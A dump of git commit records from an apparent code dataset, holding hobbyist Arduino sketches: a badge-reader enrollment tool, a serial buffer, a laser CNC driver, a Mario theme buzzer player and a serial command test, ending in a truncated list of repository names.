\/\/-------------------------------------------------------\n \/\/ il n'y a plus de donn\u00e9e data 0 ou 1 envoy\u00e9\n \/\/-------------------------------------------------------\n\n if ( resultat == 3)\n {\n temps_debut = micros();\n \/\/ boucle de test timeout entre 2 donn\u00e9es de bit\n do\n {\n valeur_d0 = digitalRead (DATA_0); \/\/ on lit l'\u00e9tat de data 0 sur le lecteur\n valeur_d1 = digitalRead (DATA_1); \/\/ on lit l'\u00e9tat de data 1 sur le lecteur\n resultat = valeur_d0 + (valeur_d1 * 2);\n temps_inter = micros(); \/\/ on prend le temps\n temps_timeout = temps_inter - temps_debut; \/\/ on calcul le temps pass\u00e9\n if (temps_timeout > 3000) \/\/ timeout d\u00e9pass\u00e9 on arr\u00eate la lecture du badge\n {\n finlecture = 0; \/\/ on oblige la sortie de la boucle \"do\" d\u00e9but lecture badge\n resultat = 0; \/\/ on oblige la sortie de la boucle \"do\" timeout\n }\n\n } while (resultat == 3);\n\n }\n\n } while (finlecture == 1); \/\/ on sort de la boucle \"do\" d\u00e9but lecture badge\n \n \n \/\/ ---------------------------------------------------------\n \/\/ Fin de la lecture du badge\n \/\/ ---------------------------------------------------------\n \n nu_badge_deci = bin_deci(numero_bin);\/\/ on convertit le binaire en hexadecimal\n Keyboard.press(KEY_LEFT_SHIFT);\n Keyboard.print(nu_badge_deci); \/\/ on tape le num\u00e9ro du badge\n Keyboard.releaseAll();\n Keyboard.print(\"\\n\");\/\/ retour ligne\n \n \/\/ on r\u00e9nitialise la variable numero_bin et ref pour une prochaine lecture\n numero_bin = \"\";\n ref = \"\"; \n \n }\n }\n} \/\/ fin de la boucle Void()\n\n\n\n\/\/-----------------------------------------------------------------------------------------------\n\/\/ D\u00e9but de la zone \"fonction\"\n\/\/-----------------------------------------------------------------------------------------------\n\n\nunsigned long bin_deci(String binaire){\n \n \/* Convertit l'argument String 'binaire' en decimal \n et retour la valeur dans une variable du type\n unsigned long. \n *\/\n unsigned long resultat = 0;\n int str_longeur = binaire.length();\n int pos_bin = 0;\n int fin = str_longeur - bit_start;\n int debut = str_longeur - bit_end;\n if(str_longeur >=34){ \n for (int compt = fin ; compt >= debut ; compt--)\n {\n if (binaire.charAt(compt) == '1') \n {\n bitWrite(resultat, pos_bin, 1);\n }\n \n else\n {\n bitWrite(resultat, pos_bin, 0); \n }\n \n pos_bin = ++pos_bin; \n }\n }\n return resultat;\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'enroleur-eniri\/enroleur-galaxy\/enroleur-galaxy.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2da6b8360403cc39223aa99bdea0a4702669fedb","subject":"Create serial_buffer.ino","message":"Create serial_buffer.ino\n\nthis is set up to read UART over softwareSerial.. specifically for the GPRS sheild","repos":"treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches","old_file":"serial_buffer.ino","new_file":"serial_buffer.ino","new_contents":"#include <SoftwareSerial.h>\n \nSoftwareSerial serial_device(7, 8);\nunsigned char buff[512]; \/* buffer *\/\nint index=0; \nvoid setup()\n{\n serial_device.begin(19200); \/* baud rate *\/ \n Serial.begin(19200); \/* works better when they match*\/\n \n}\n \nvoid loop()\n{\n if (serial_device.available()) \/* wait for data *\/\n {\n while(serial_device.available()) \n {\n buff[index++]=serial_device.read(); \/* writing data into buff*\/\n if(index == 64)break;\n }\n Serial.write(buff,index); \/*tx*\/\n clr_buff_arr(); \/*zero buffer array and index*\/\n index = 0; \n \n \n }\n if (Serial.available()) \/*wait*\/\n serial_device.write(Serial.read()); \/* rx*\/\n}\nvoid clr_buff_arr()\n{\n for (int i=0; i<index;i++)\n { buff[i]=NULL;} \/* clear each index *\/\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'serial_buffer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bcd1c6459bd0042c73c7a34a0aa8698119234910","subject":"chnages for stepstick drivers","message":"chnages for stepstick drivers\n","repos":"Neumi\/Arduino-Processing-Laser-CNC","old_file":"Codes\/version2\/version2.ino","new_file":"Codes\/version2\/version2.ino","new_contents":"\nint nextStepX = 1;\nint backStepX = 1;\n\nint nextStepY = 1;\nint backStepY = 1;\n\nint laserTime = 5; \/\/ 2ms for PCB photoresist!!\n\nint stepPinX = 6;\nint dirPinX = 7;\nint stepPinY = 8;\nint dirPinY = 9;\nint laserPin = 13;\n\nString contentString;\n\nvoid setup() {\n Serial.begin(57600);\n\n pinMode(stepPinX, OUTPUT);\n pinMode(dirPinX, OUTPUT);\n pinMode(stepPinY, OUTPUT);\n pinMode(dirPinY, OUTPUT);\n pinMode(laserPin, OUTPUT);\n\n}\n\nvoid loop() {\n\n while (Serial.available() > 0) {\n String RawRead = Serial.readStringUntil('\\n');\n String BackWay = RawRead.substring(300);\n contentString = RawRead.substring(0, 300);\n\n for (int i = 0; i <= 300; i++) {\n if (contentString[i] == '1') { \/\/when string contains a black pixel at the current point...\n digitalWrite(laserPin, HIGH); \/\/set laser high\n doStepY(0); \/\/ do next step\n delay(laserTime); \/\/ wait for the time the laser should burn\n }\n else {\n digitalWrite(laserPin, LOW); \/\/ set\/keep laser off\n doStepY(0);\n }\n }\n doStepX(1);\n\n for (int i = 0; i <= 300; i++) { \/\/get threw the lines in reversed orientation...\n if (BackWay[i] == '1') {\n digitalWrite(laserPin, HIGH);\n doStepY(1);\n delay(laserTime);\n }\n else {\n digitalWrite(laserPin, LOW);\n doStepY(1);\n }\n }\n doStepX(1); \/\/ to step next for the laser mechanic\n Serial.write(\"k\"); \/\/write feedback for processing\n }\n}\n\n\nvoid doStepX(boolean dir) {\n digitalWrite(dirPinX, dir);\n digitalWrite(stepPinX, HIGH);\n delay(2);\n digitalWrite(stepPinX, LOW);\n delay(2);\n\n}\nvoid doStepY(boolean dir) {\n digitalWrite(dirPinY, dir);\n digitalWrite(stepPinY, HIGH);\n delay(2);\n digitalWrite(stepPinY, LOW);\n delay(2);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Codes\/version2\/version2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"57846272faadcb57e1fb9d04867dd00ecf39f1ea","subject":"Create mario_theme.ino","message":"Create mario_theme.ino","repos":"amaruri\/IoT","old_file":"mario_theme.ino","new_file":"mario_theme.ino","new_contents":"#define NOTE_B0 31\n#define NOTE_C1 33\n#define NOTE_CS1 35\n#define NOTE_D1 37\n#define NOTE_DS1 39\n#define NOTE_E1 41\n#define NOTE_F1 44\n#define NOTE_FS1 46\n#define NOTE_G1 49\n#define NOTE_GS1 52\n#define NOTE_A1 55\n#define NOTE_AS1 58\n#define NOTE_B1 62\n#define NOTE_C2 65\n#define NOTE_CS2 69\n#define NOTE_D2 73\n#define NOTE_DS2 78\n#define NOTE_E2 82\n#define NOTE_F2 87\n#define NOTE_FS2 93\n#define NOTE_G2 98\n#define NOTE_GS2 104\n#define NOTE_A2 110\n#define NOTE_AS2 117\n#define NOTE_B2 123\n#define NOTE_C3 131\n#define NOTE_CS3 139\n#define NOTE_D3 147\n#define NOTE_DS3 156\n#define NOTE_E3 165\n#define NOTE_F3 175\n#define NOTE_FS3 185\n#define NOTE_G3 196\n#define NOTE_GS3 208\n#define NOTE_A3 220\n#define NOTE_AS3 233\n#define NOTE_B3 247\n#define NOTE_C4 262\n#define NOTE_CS4 277\n#define NOTE_D4 294\n#define NOTE_DS4 311\n#define NOTE_E4 330\n#define NOTE_F4 349\n#define NOTE_FS4 370\n#define NOTE_G4 392\n#define NOTE_GS4 415\n#define NOTE_A4 440\n#define NOTE_AS4 466\n#define NOTE_B4 494\n#define NOTE_C5 523\n#define NOTE_CS5 554\n#define NOTE_D5 587\n#define NOTE_DS5 622\n#define NOTE_E5 659\n#define NOTE_F5 698\n#define NOTE_FS5 740\n#define NOTE_G5 784\n#define NOTE_GS5 831\n#define NOTE_A5 880\n#define NOTE_AS5 932\n#define NOTE_B5 988\n#define NOTE_C6 1047\n#define NOTE_CS6 1109\n#define NOTE_D6 1175\n#define NOTE_DS6 1245\n#define NOTE_E6 1319\n#define NOTE_F6 1397\n#define NOTE_FS6 1480\n#define NOTE_G6 1568\n#define NOTE_GS6 1661\n#define NOTE_A6 1760\n#define NOTE_AS6 1865\n#define NOTE_B6 1976\n#define NOTE_C7 2093\n#define NOTE_CS7 2217\n#define NOTE_D7 2349\n#define NOTE_DS7 2489\n#define NOTE_E7 2637\n#define NOTE_F7 2794\n#define NOTE_FS7 2960\n#define NOTE_G7 3136\n#define NOTE_GS7 3322\n#define NOTE_A7 3520\n#define NOTE_AS7 3729\n#define NOTE_B7 3951\n#define NOTE_C8 4186\n#define NOTE_CS8 4435\n#define NOTE_D8 4699\n#define NOTE_DS8 4978\n \n#define melodyPin 10\n\/\/Mario main theme melody\nint melody[] = {\n NOTE_E7, NOTE_E7, 0, NOTE_E7,\n 0, NOTE_C7, NOTE_E7, 0,\n NOTE_G7, 0, 0, 0,\n NOTE_G6, 0, 0, 0,\n \n NOTE_C7, 0, 0, NOTE_G6,\n 0, 0, NOTE_E6, 0,\n 0, NOTE_A6, 0, NOTE_B6,\n 0, NOTE_AS6, NOTE_A6, 0,\n \n NOTE_G6, NOTE_E7, NOTE_G7,\n NOTE_A7, 0, NOTE_F7, NOTE_G7,\n 0, NOTE_E7, 0, NOTE_C7,\n NOTE_D7, NOTE_B6, 0, 0,\n \n NOTE_C7, 0, 0, NOTE_G6,\n 0, 0, NOTE_E6, 0,\n 0, NOTE_A6, 0, NOTE_B6,\n 0, NOTE_AS6, NOTE_A6, 0,\n \n NOTE_G6, NOTE_E7, NOTE_G7,\n NOTE_A7, 0, NOTE_F7, NOTE_G7,\n 0, NOTE_E7, 0, NOTE_C7,\n NOTE_D7, NOTE_B6, 0, 0\n};\n\/\/Mario main them tempo\nint tempo[] = {\n 12, 12, 12, 12,\n 12, 12, 12, 12,\n 12, 12, 12, 12,\n 12, 12, 12, 12,\n \n 12, 12, 12, 12,\n 12, 12, 12, 12,\n 12, 12, 12, 12,\n 12, 12, 12, 12,\n \n 9, 9, 9,\n 12, 12, 12, 12,\n 12, 12, 12, 12,\n 12, 12, 12, 12,\n \n 12, 12, 12, 12,\n 12, 12, 12, 12,\n 12, 12, 12, 12,\n 12, 12, 12, 12,\n \n 9, 9, 9,\n 12, 12, 12, 12,\n 12, 12, 12, 12,\n 12, 12, 12, 12,\n};\n\n\/\/Underworld melody\nint underworld_melody[] = {\n NOTE_C4, NOTE_C5, NOTE_A3, NOTE_A4,\n NOTE_AS3, NOTE_AS4, 0,\n 0,\n NOTE_C4, NOTE_C5, NOTE_A3, NOTE_A4,\n NOTE_AS3, NOTE_AS4, 0,\n 0,\n NOTE_F3, NOTE_F4, NOTE_D3, NOTE_D4,\n NOTE_DS3, NOTE_DS4, 0,\n 0,\n NOTE_F3, NOTE_F4, NOTE_D3, NOTE_D4,\n NOTE_DS3, NOTE_DS4, 0,\n 0, NOTE_DS4, NOTE_CS4, NOTE_D4,\n NOTE_CS4, NOTE_DS4,\n NOTE_DS4, NOTE_GS3,\n NOTE_G3, NOTE_CS4,\n NOTE_C4, NOTE_FS4, NOTE_F4, NOTE_E3, NOTE_AS4, NOTE_A4,\n NOTE_GS4, NOTE_DS4, NOTE_B3,\n NOTE_AS3, NOTE_A3, NOTE_GS3,\n 0, 0, 0\n};\n\/\/Underwolrd tempo\nint underworld_tempo[] = {\n 12, 12, 12, 12,\n 12, 12, 6,\n 3,\n 12, 12, 12, 12,\n 12, 12, 6,\n 3,\n 12, 12, 12, 12,\n 12, 12, 6,\n 3,\n 12, 12, 12, 12,\n 12, 12, 6,\n 6, 18, 18, 18,\n 6, 6,\n 6, 6,\n 6, 6,\n 18, 18, 18, 18, 18, 18,\n 10, 10, 10,\n 10, 10, 10,\n 3, 3, 3\n};\n\nvoid setup(void)\n{\n pinMode(melodyPin, OUTPUT);\/\/buzzer\n pinMode(LED_BUILTIN, OUTPUT);\/\/led indicator when singing a note\n Serial.begin(9600);\n}\nvoid loop()\n{\n \/\/sing the tunes\n sing(2);\n}\nint song = 0;\n \nvoid sing(int s) {\n \/\/ iterate over the notes of the melody:\n song = s;\n if (song == 1) {\n Serial.println(\" 'Underworld Theme'\");\n int size = sizeof(underworld_melody) \/ sizeof(int);\n for (int thisNote = 0; thisNote < size; thisNote++) {\n \n \/\/ to calculate the note duration, take one second\n \/\/ divided by the note type.\n \/\/e.g. quarter note = 1000 \/ 4, eighth note = 1000\/8, etc.\n int noteDuration = 1000 \/ underworld_tempo[thisNote];\n \n buzz(melodyPin, underworld_melody[thisNote], noteDuration);\n \n \/\/ to distinguish the notes, set a minimum time between them.\n \/\/ the note's duration + 30% seems to work well:\n int pauseBetweenNotes = noteDuration * 1.30;\n delay(pauseBetweenNotes);\n \n \/\/ stop the tone playing:\n buzz(melodyPin, 0, noteDuration);\n \n }\n \n } else {\n Serial.println(\" 'Mario Theme'\");\n \n \n int size = sizeof(melody) \/ sizeof(int);\n Serial.println(sizeof(melody));\n for (int thisNote = 0; thisNote < size; thisNote++) {\n \n \/\/ to calculate the note duration, take one second\n \/\/ divided by the note type.\n \/\/e.g. quarter note = 1000 \/ 4, eighth note = 1000\/8, etc.\n int noteDuration = 1000 \/ tempo[thisNote];\n \n buzz(melodyPin, melody[thisNote], noteDuration);\n \n \/\/ to distinguish the notes, set a minimum time between them.\n \/\/ the note's duration + 30% seems to work well:\n int pauseBetweenNotes = noteDuration * 1.30;\n delay(pauseBetweenNotes);\n \n \/\/ stop the tone playing:\n buzz(melodyPin, 0, noteDuration);\n \n }\n }\n}\n \nvoid buzz(int targetPin, long frequency, long length) {\n digitalWrite(13, HIGH);\n long delayValue = 1000000 \/ frequency \/ 2; \/\/ calculate the delay value between transitions\n \/\/\/\/ 1 second's worth of microseconds, divided by the frequency, then split in half since\n \/\/\/\/ there are two phases to each cycle\n long numCycles = frequency * length \/ 1000; \/\/ calculate the number of cycles for proper timing\n \/\/\/\/ multiply frequency, which is really cycles per second, by the number of seconds to\n \/\/\/\/ get the total number of cycles to produce\n for (long i = 0; i < numCycles; i++) { \/\/ for the calculated length of time...\n digitalWrite(targetPin, HIGH); \/\/ write the buzzer pin high to push out the diaphram\n delayMicroseconds(delayValue); \/\/ wait for the calculated delay value\n digitalWrite(targetPin, LOW); \/\/ write the buzzer pin low to pull back the diaphram\n delayMicroseconds(delayValue); \/\/ wait again or the calculated delay value\n }\n digitalWrite(13, LOW);\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'mario_theme.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"49e745b0f10e87a4af7f8bc46b38027abbed19ec","subject":"Added my super awesome project","message":"Added my super awesome project\n\nHere's a bunch of details...","repos":"trevortomesh\/OSHRepo","old_file":"mySuperAwesomeProject.ino","new_file":"mySuperAwesomeProject.ino","new_contents":"void doathing(){\r\n\r\n int codeForArduino = 0; \r\n\r\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'mySuperAwesomeProject.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"28b52b1ec946eac9e785f56e1c890315e1b3bd40","subject":"Added the hardware folder","message":"Added the hardware folder\n","repos":"bocaaust\/BellBoy,bocaaust\/BellBoy,bocaaust\/BellBoy","old_file":"Hardware\/Arduino Code\/MotorControlTest\/MotorControlTest.ino","new_file":"Hardware\/Arduino Code\/MotorControlTest\/MotorControlTest.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Hardware\/Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/MotorControlTest\/MotorControlTest.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"17e58bdb2c2663f9ca9f04edd94f2216247b9c76","subject":"Added the Arduino sketch to test serial comms","message":"Added the Arduino sketch to test serial comms\n","repos":"rzzzwilson\/DigitalVFO,rzzzwilson\/DigitalVFO","old_file":"SerialTest\/SerialTest.ino","new_file":"SerialTest\/SerialTest.ino","new_contents":"\/*\n Blink\n Turns on an LED on for one second, then off for one second, repeatedly.\n \n This example code is in the public domain.\n *\/\n \n\/\/ Pin 13 has an LED connected on most Arduino boards.\n\/\/ Pin 11 has the LED on Teensy 2.0\n\/\/ Pin 6 has the LED on Teensy++ 2.0\n\/\/ Pin 13 has the LED on Teensy 3.0\n\/\/ give it a name:\nint led = 13;\n\n\/\/ the setup routine runs once when you press reset:\nvoid setup() { \n \/\/ initialize the serial console\n Serial.begin(115200);\n Serial.println(\"begin!\");\n \n \/\/ initialize the digital pin as an output.\n pinMode(led, OUTPUT); \n digitalWrite(led, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n}\n\n\/\/----------------------------------------\n\/\/ Do any commands from the external controller.\n\/\/----------------------------------------\n\n\/\/ buffer, etc, to gather external command strings\n#define MAX_COMMAND_LEN 16\n#define COMMAND_END_CHAR ';'\nchar CommandBuffer[MAX_COMMAND_LEN+1];\nint CommandIndex = 0;\n\nbool do_external_commands(void)\n{\n \/\/ gather any commands from the external controller\n while (Serial.available()) \n {\n char ch = Serial.read();\n \n if (CommandIndex < MAX_COMMAND_LEN)\n { \n CommandBuffer[CommandIndex++] = ch;\n }\n \n if (ch == COMMAND_END_CHAR) \/\/ if end of command, execute it\n {\n char answer[1024];\n \n CommandBuffer[CommandIndex] = '\\0';\n CommandIndex = 0;\n if (strcmp(CommandBuffer, \"QUIT;\") == 0)\n return false;\n Serial.print(\"handled \");\n Serial.println(CommandBuffer);\n return true;\n }\n }\n\n return false;\n}\n\n\/\/ delay between heartbeat flashes - milliseconds\n#define HEARTBEAT_DELAY 5000\n\nunsigned int next_heartbeat = millis() + 500;\n\n\/\/ the loop routine runs over and over again forever:\nvoid loop()\n{\n if (do_external_commands())\n {\n digitalWrite(led, LOW); \/\/ turn the LED on by making the voltage LOW\n delay(50); \/\/ wait a bit\n digitalWrite(led, HIGH); \/\/ turn the LED off (HIGH is the voltage level)\n delay(50); \/\/ wait a bit\n }\n\n if (millis() > next_heartbeat)\n {\n next_heartbeat = millis() + HEARTBEAT_DELAY;\n \n digitalWrite(led, LOW); \/\/ turn the LED on by making the voltage LOW\n delay(50); \/\/ wait a bit\n digitalWrite(led, HIGH); \/\/ turn the LED off (HIGH is the voltage level)\n delay(50); \/\/ wait a bit\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SerialTest\/SerialTest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"76e551592ab4573aaad19a8aacc3574ce52d4da6","subject":"Deleted duplicate example","message":"Deleted duplicate example\n","repos":"chaveiro\/Arduino,jaimemaretoli\/Arduino,bsmr-arduino\/Arduino,jaehong\/Xmegaduino,NicoHood\/Arduino,jaehong\/Xmegaduino,stickbreaker\/Arduino,shannonshsu\/Arduino,piersoft\/esp8266-Arduino,NaSymbol\/Arduino,weera00\/Arduino,garci66\/Arduino,Cloudino\/Arduino,Chris--A\/Arduino,jabezGit\/Arduino,jamesrob4\/Arduino,EmuxEvans\/Arduino,gberl001\/Arduino,Alfredynho\/AgroSis,gberl001\/Arduino,ikbelkirasan\/Arduino,adafruit\/ESP8266-Arduino,ccoenen\/Arduino,01org\/Arduino,NeuralSpaz\/Arduino,jaehong\/Xmegaduino,Gourav2906\/Arduino,byran\/Arduino,lulufei\/Arduino,381426068\/Arduino,zenmanenergy\/Arduino,jmgonzalez00449\/Arduino,eduardocasarin\/Arduino,jamesrob4\/Arduino,mangelajo\/Arduino,andyvand\/Arduino-1,raimohanska\/Arduino,adamkh\/Arduino,ashwin713\/Arduino,NeuralSpaz\/Arduino,tbowmo\/Arduino,andyvand\/Arduino-1,eduardocasarin\/Arduino,me-no-dev\/Arduino-1,eddyst\/Arduino-SourceCode,raimohanska\/Arduino,damellis\/Arduino,koltegirish\/Arduino,eeijcea\/Arduino-1,garci66\/Arduino,PaoloP74\/Arduino,byran\/Arduino,raimohanska\/Arduino,talhaburak\/Arduino,NaSymbol\/Arduino,spapadim\/Arduino,superboonie\/Arduino,adamkh\/Arduino,ogahara\/Arduino,nkolban\/Arduino,tommyli2014\/Arduino,HCastano\/Arduino,tommyli2014\/Arduino,steamboating\/Arduino,leftbrainstrain\/Arduino-ESP8266,mattvenn\/Arduino,PaintYourDragon\/Arduino,tommyli2014\/Arduino,adafruit\/ESP8266-Arduino,SmartArduino\/Arduino-1,ssvs111\/Arduino,PaoloP74\/Arduino,me-no-dev\/Arduino-1,pdNor\/Arduino,lulufei\/Arduino,chaveiro\/Arduino,benwolfe\/esp8266-Arduino,ogahara\/Arduino,jaej-dev\/Arduino,jaehong\/Xmegaduino,laylthe\/Arduino,damellis\/Arduino,Alfredynho\/AgroSis,bsmr-arduino\/Arduino,kidswong999\/Arduino,koltegirish\/Arduino,jaej-dev\/Arduino,jaehong\/Xmegaduino,gurbrinder\/Arduino,KlaasDeNys\/Arduino,stickbreaker\/Arduino,benwolfe\/esp8266-Arduino,ektor5\/Arduino,paulmand3l\/Arduino,jamesrob4\/Arduino,niggor\/Arduino_cc,acosinwork\/Arduino,eeijcea\/Arduino-1,pdNor\/Arduino,aichi\/Arduino-2,Gourav2906\/Arduino,henningpohl\/Arduino,jaimemaretoli\/Arduino,smily77\/Arduino,tommyli2014\/Arduino,plaintea\/esp8266-Arduino,tomkrus007\/Arduino,aichi\/Arduino-2,NicoHood\/Arduino,gberl001\/Arduino,acosinwork\/Arduino,odbol\/Arduino,jaimemaretoli\/Arduino,rcook\/DesignLab,vbextreme\/Arduino,jomolinare\/Arduino,tannewt\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,leftbrainstrain\/Arduino-ESP8266,eddyst\/Arduino-SourceCode,radut\/Arduino,ricklon\/Arduino,karlitxo\/Arduino,arduino-org\/Arduino,plinioseniore\/Arduino,scdls\/Arduino,zaiexx\/Arduino,snargledorf\/Arduino,EmuxEvans\/Arduino,leftbrainstrain\/Arduino-ESP8266,Cloudino\/Cloudino-Arduino-IDE,ogferreiro\/Arduino,acosinwork\/Arduino,OpenDevice\/Arduino,nandojve\/Arduino,wilhelmryan\/Arduino,raimohanska\/Arduino,ogahara\/Arduino,fungxu\/Arduino,tskurauskas\/Arduino,bsmr-arduino\/Arduino,xxxajk\/Arduino-1,koltegirish\/Arduino,KlaasDeNys\/Arduino,nkolban\/Arduino,mateuszdw\/Arduino,Gourav2906\/Arduino,NeuralSpaz\/Arduino,jamesrob4\/Arduino,tannewt\/Arduino,aichi\/Arduino-2,PaoloP74\/Arduino,jabezGit\/Arduino,mateuszdw\/Arduino,laylthe\/Arduino,ForestNymph\/Arduino_sources,jabezGit\/Arduino,Protoneer\/Arduino,Cloudino\/Arduino,ms-iot\/Arduino,linino\/Arduino,stevemayhew\/Arduino,Cloudino\/Cloudino-Arduino-IDE,ssvs111\/Arduino,bigjosh\/Arduino,eduardocasarin\/Arduino,nkolban\/Arduino,NicoHood\/Arduino,gestrem\/Arduino,jabezGit\/Arduino,snargledorf\/Arduino,01org\/Arduino,gonium\/Arduino,jmgonzalez00449\/Arduino,mateuszdw\/Arduino,arunkuttiyara\/Arduino,paulmand3l\/Arduino,weera00\/Arduino,zederson\/Arduino,ricklon\/Arduino,fungxu\/Arduino,damellis\/Arduino,arduino-org\/Arduino,lulufei\/Arduino,majenkotech\/Arduino,karlitxo\/Arduino,weera00\/Arduino,noahchense\/Arduino-1,diydrones\/Arduino,shannonshsu\/Arduino,niggor\/Arduino_cc,adafruit\/ESP8266-Arduino,radut\/Arduino,laylthe\/Arduino,damellis\/Arduino,nandojve\/Arduino,mateuszdw\/Arduino,henningpohl\/Arduino,garci66\/Arduino,diydrones\/Arduino,ari-analytics\/Arduino,jaej-dev\/Arduino,ashwin713\/Arduino,majenkotech\/Arduino,zaiexx\/Arduino,cscenter\/Arduino,OpenDevice\/Arduino,jmgonzalez00449\/Arduino,stevemayhew\/Arduino,jabezGit\/Arduino,nandojve\/Arduino,ari-analytics\/Arduino,381426068\/Arduino,tannewt\/Arduino,PaintYourDragon\/Arduino,Cloudino\/Arduino,jomolinare\/Arduino,jamesrob4\/Arduino,NeuralSpaz\/Arduino,championswimmer\/Arduino,381426068\/Arduino,jaej-dev\/Arduino,andyvand\/Arduino-1,mattvenn\/Arduino,PeterVH\/Arduino,Protoneer\/Arduino,ogferreiro\/Arduino,acosinwork\/Arduino,steamboating\/Arduino,linino\/Arduino,superboonie\/Arduino,vbextreme\/Arduino,wayoda\/Arduino,niggor\/Arduino_cc,andrealmeidadomingues\/Arduino,PaoloP74\/Arduino,eeijcea\/Arduino-1,arduino-org\/Arduino,xxxajk\/Arduino-1,niggor\/Arduino_cc,gestrem\/Arduino,mc-hamster\/esp8266-Arduino,kidswong999\/Arduino,Gourav2906\/Arduino,tbowmo\/Arduino,lulufei\/Arduino,Protoneer\/Arduino,lukeWal\/Arduino,mboufos\/esp8266-Arduino,radut\/Arduino,steamboating\/Arduino,gberl001\/Arduino,adafruit\/ESP8266-Arduino,zenmanenergy\/Arduino,NicoHood\/Arduino,ikbelkirasan\/Arduino,arduino-org\/Arduino,eddyst\/Arduino-SourceCode,sanyaade-iot\/Arduino-1,adafruit\/ESP8266-Arduino,xxxajk\/Arduino-1,rodibot\/Arduino,NicoHood\/Arduino,me-no-dev\/Arduino-1,rodibot\/Arduino,wayoda\/Arduino,ikbelkirasan\/Arduino,sanyaade-iot\/Arduino-1,arduino-org\/Arduino,stickbreaker\/Arduino,UDOOboard\/Arduino,plaintea\/esp8266-Arduino,jaej-dev\/Arduino,EmuxEvans\/Arduino,HCastano\/Arduino,eggfly\/arduino,ssvs111\/Arduino,wdoganowski\/Arduino,leftbrainstrain\/Arduino-ESP8266,spapadim\/Arduino,381426068\/Arduino,zenmanenergy\/Arduino,henningpohl\/Arduino,ari-analytics\/Arduino,jamesrob4\/Arduino,paulmand3l\/Arduino,PaoloP74\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,championswimmer\/Arduino,acosinwork\/Arduino,snargledorf\/Arduino,gonium\/Arduino,wilhelmryan\/Arduino,piersoft\/esp8266-Arduino,kidswong999\/Arduino,Ramoonus\/Arduino,gurbrinder\/Arduino,01org\/Arduino,ms-iot\/Arduino,wayoda\/Arduino,wdoganowski\/Arduino,tskurauskas\/Arduino,stevemarple\/Arduino-org,pdNor\/Arduino,NaSymbol\/Arduino,zaiexx\/Arduino,benwolfe\/esp8266-Arduino,eddyst\/Arduino-SourceCode,zaiexx\/Arduino,zederson\/Arduino,jmgonzalez00449\/Arduino,stevemarple\/Arduino-org,laylthe\/Arduino,Chris--A\/Arduino,rodibot\/Arduino,zenmanenergy\/Arduino,ms-iot\/Arduino,niggor\/Arduino_cc,bigjosh\/Arduino,snargledorf\/Arduino,SmartArduino\/Arduino-1,KlaasDeNys\/Arduino,stevemarple\/Arduino-org,aichi\/Arduino-2,shannonshsu\/Arduino,gestrem\/Arduino,jomolinare\/Arduino,nkolban\/Arduino,mc-hamster\/esp8266-Arduino,chaveiro\/Arduino,talhaburak\/Arduino,niggor\/Arduino_cc,smily77\/Arduino,paulo-raca\/ESP8266-Arduino,bsmr-arduino\/Arduino,henningpohl\/Arduino,ccoenen\/Arduino,eddyst\/Arduino-SourceCode,ricklon\/Arduino,SmartArduino\/Arduino-1,NaSymbol\/Arduino,ForestNymph\/Arduino_sources,myrtleTree33\/Arduino,toddtreece\/esp8266-Arduino,karlitxo\/Arduino,probonopd\/Arduino,01org\/Arduino,diydrones\/Arduino,ms-iot\/Arduino,Alfredynho\/AgroSis,ektor5\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,Cloudino\/Cloudino-Arduino-IDE,andyvand\/Arduino-1,tomkrus007\/Arduino,rodibot\/Arduino,PaintYourDragon\/Arduino,jmgonzalez00449\/Arduino,jaimemaretoli\/Arduino,Cloudino\/Cloudino-Arduino-IDE,mangelajo\/Arduino,smily77\/Arduino,rcook\/DesignLab,tskurauskas\/Arduino,steamboating\/Arduino,byran\/Arduino,wilhelmryan\/Arduino,scdls\/Arduino,superboonie\/Arduino,lukeWal\/Arduino,NicoHood\/Arduino,Protoneer\/Arduino,ricklon\/Arduino,rcook\/DesignLab,spapadim\/Arduino,stevemayhew\/Arduino,wilhelmryan\/Arduino,bigjosh\/Arduino,raimohanska\/Arduino,probonopd\/Arduino,raimohanska\/Arduino,onovy\/Arduino,rcook\/DesignLab,cscenter\/Arduino,ashwin713\/Arduino,superboonie\/Arduino,kidswong999\/Arduino,myrtleTree33\/Arduino,aichi\/Arduino-2,eeijcea\/Arduino-1,byran\/Arduino,mateuszdw\/Arduino,tbowmo\/Arduino,plinioseniore\/Arduino,Protoneer\/Arduino,mangelajo\/Arduino,tbowmo\/Arduino,scdls\/Arduino,majenkotech\/Arduino,toddtreece\/esp8266-Arduino,ogahara\/Arduino,zenmanenergy\/Arduino,jaej-dev\/Arduino,henningpohl\/Arduino,danielchalef\/Arduino,zederson\/Arduino,rodibot\/Arduino,tommyli2014\/Arduino,Chris--A\/Arduino,cscenter\/Arduino,Ramoonus\/Arduino,vbextreme\/Arduino,eddyst\/Arduino-SourceCode,eggfly\/arduino,paulmand3l\/Arduino,plinioseniore\/Arduino,PeterVH\/Arduino,nandojve\/Arduino,gestrem\/Arduino,garci66\/Arduino,EmuxEvans\/Arduino,smily77\/Arduino,noahchense\/Arduino-1,PeterVH\/Arduino,bigjosh\/Arduino,Orthogonal-Systems\/arduino-libs,PaintYourDragon\/Arduino,steamboating\/Arduino,niggor\/Arduino_cc,PeterVH\/Arduino,shiitakeo\/Arduino,ntruchsess\/Arduino-1,Alfredynho\/AgroSis,koltegirish\/Ar